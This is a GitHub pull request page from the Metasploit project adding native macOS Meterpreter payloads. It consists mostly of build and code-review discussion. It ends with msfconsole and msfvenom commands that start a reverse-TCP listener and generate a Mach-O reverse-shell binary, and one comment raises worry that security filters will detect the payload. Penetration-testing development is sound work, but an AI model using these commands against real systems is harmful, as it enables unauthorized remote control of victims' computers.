-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
OSX meterpreter #8439
OSX meterpreter #8439
Conversation
Testing (El Capitan 10.11.8 i386)
I doubt that the windows extensions are meant to be loaded. Also, a lot of post modules seem to be hanging (at least for a long time). |
@timwr: how does one build the mettle payload for x86_64-apple-darwin without xcode? Without the binary in the payload gem, framework won't load with a failure in the generate call. :( |
@sempervictus please see rapid7/mettle#80. You can only build on OSX (with xcode) unfortunately. |
@timwr: shouldn't that be a blocking change? Some of us run Linux :). Any way around xcode via the cross compiler chain? Are there any legal constraints imposed by xcode on the product for us to be worried about? If everyone cant all build their own, this will get caught very quickly - the static binary provided by r7 will be signed for and soon as network, disk, or other filters see it, we'll be in trouble. |
I run Linux too, I'm able to run OSX within VirtualBox on a Ubuntu host. |
Hmm, must be some technical method around this, especially since both virtualizing Apple OS and using their toolchain carry potential legal ramifications. Pulled out an older imac, hoping to have a build up in a bit :) IIRC @AnwarMohamed had OSX binaries building with the old Bionic sources. Might merit a look... |
I'm pretty sure this: https://github.com/AnwarMohamed/meterpreter-darwin/ is meant to be built with OSX, not Linux. |
@cbrnrd thanks for your testing! I've fixed the shell command now and added support for i386. |
|
@timwr @sempervictus this may work for a cross compiler, i haven't tested it but it looks promising |
We have a real licensed Mac that we're doing internal builds for this with. It'll soon be incorporated into the ruby gem. |
lib/msf/util/exe.rb
Outdated
@@ -2258,6 +2262,10 @@ def self.elf?(code) | |||
code[0..3] == "\x7FELF" | |||
end | |||
|
|||
def self.macho?(code) | |||
code[0..3] == "\xCF\xFA\xED\xFE" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
To prevent weird bugs in the future, this also needs to check for the 32-bit magic (\xCE\xFA\xED\xFE
), the big-endian versions of the 32-bit and 64-bit magics, and the fat-binary magic (\xCA\xFE\xBA\xBE
).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
great spot! thanks @acammack-r7
@cbrnrd : thank you, that does look quite promising. Are there any sample builds available right now? Getting this to work on OSX 10.9.5 is... problematic. In the very least we'd have to have good docs for a number of OS revisions since even some of the framework libraries are different (QuartzCore is needed in older versions in Makefile.common instead of CoreImage, the older compilers fail to build the deps, gcc doesnt install to the right places with brew, its just a bloody mess). |
We're not using a closed-source compiler (it's clang), but I did get mettle to work fine on 10.8 through 10.12. Almost done with the build infrastructure to support it (mettle needs one more PR for this) |
When this lands I absolutely intend on following up on Metlstorm's request to build a module that will allow you to mess with the latest Macbook's Touch Bar. |
I wasn't able to get 32-bit builds running, but did modify this PR to use the new mettle template generator, and so http/s also works:
|
@busterb with your changes, is it still showing the windows plugins with |
Post modules hanging is fixed in another PR I'm about to submit. I honestly didn't notice the extension issue, but will address that too. |
Alright, let me know if i can help :) |
Added cc31689 which fixed the template generator. Also removed i386 support for now, because our builder VM still has trouble with it AFAIK (ping @jmartin-r7 ) |
Release NotesInitial support for native-code Meterpreter on macOS/OSX targets has been added. The screenshot, clipboard, and webcam_snap functionalities work from OS X 10.8 through 10.12 on x86_64 targets. The Mettle payloads gem also includes iOS and Windows binaries. |
@cbrnrd the |
Got some cool additions here if any of you guys are interested: #9196 - made some changes to the webcam_stream player and added a new screenshare command |
I thought I'd PR this up early even though it's not quite ready to land, feel free to close this. It was straightforward to build mettle on OSX on OSX itself (i.e, without cross compiling). Full credit to @acammack-r7 and @busterb
We'll need to update the gem to include the x86_64-apple-darwin TARGET.
Until then if you cd to the mettle directory it will be picked up automatically.
make TARGET=x86_64-apple-darwin
msfconsole -qx "use exploit/multi/handler; set payload osx/x64/meterpreter_reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j"
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=$LHOST LPORT=4444 -f macho -o out
generate_mettle_payloads.rb
tool.